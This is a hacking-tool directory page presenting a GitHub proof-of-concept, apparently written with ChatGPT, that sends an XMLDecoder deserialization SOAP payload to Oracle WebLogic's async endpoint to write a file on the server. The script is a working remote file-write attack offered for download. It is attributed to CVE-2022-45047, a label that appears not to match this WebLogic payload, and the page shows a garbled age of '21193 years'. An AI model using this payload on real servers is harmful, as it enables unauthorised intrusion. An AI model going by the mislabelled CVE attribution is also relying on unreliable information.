Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2022-45047 — Proof-of-concept exploit for CVE-2022-45047 targeting Oracle WebLogic Server via XMLDecoder deserialization, enabling remote file write and detection. | Kitploit
Tools/GitHubGitHub/hktalent/cve-2022-45047
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubhktalent/cve-2022-45047

CVE-2022-45047

Proof-of-concept exploit for CVE-2022-45047 targeting Oracle WebLogic Server via XMLDecoder deserialization, enabling remote file write and detection.

View Repository
21193 years agoNot yet reviewed
Share

CVE-2022-45047

POC,EXP,chatGPT for me

code

import requests

target_url = "http://127.0.0.1:7001"

# CVE-2022-45047
def exploit_weblogic():
    headers = {
        "Content-Type": "text/xml",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0",
        "Accept-Encoding": "gzip, deflate"
    }
    data = '''
        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
        <soapenv:Header>
            <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
                <java>
                    <java version="1.8.0_201" class="java.beans.XMLDecoder">
                        <object class="java.io.PrintWriter">
                            <string>servers/AdminServer/tmp/_WL_internal/wls-wsat/4mcj4w/war/test.txt</string>
                            <void method="println">
                                <string>WebLogic CVE-2022-45047 detected!</string>
                            </void>
                            <void method="close" />
                        </object>
                    </java>
                </java>
            </work:WorkContext>
        </soapenv:Header>
        <soapenv:Body/>
        </soapenv:Envelope>
    '''
    try:
        response = requests.post(target_url + "/_async/AsyncResponseService", headers=headers, data=data)
    except Exception as e:
        print("Error: ", e)
        return
    if response.status_code == 202:
        print("WebLogic CVE-2022-45047 detected!")
    else:
        print("WebLogic CVE-2022-45047 not detected.")

if __name__ == '__main__':
    exploit_weblogic()

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    1.0k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    634
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    417
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer is an open-source Privileged Access Management (PAM) platform that provides DevOps and IT teams with on-demand and secure access to SSH, RDP, Kubernetes, Database and RemoteApp endpoints through a web browser.

    383
  • 5

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    328
  • 6

    SafeLine

    chaitin/safeline

    Self-hosted WAF and reverse proxy that filters malicious HTTP traffic, blocks SQL injection, XSS, and bot attacks, with rate limiting and dynamic HTML/JS encryption.

    288

Explore all tools

Browse our collection of tools

View all tools →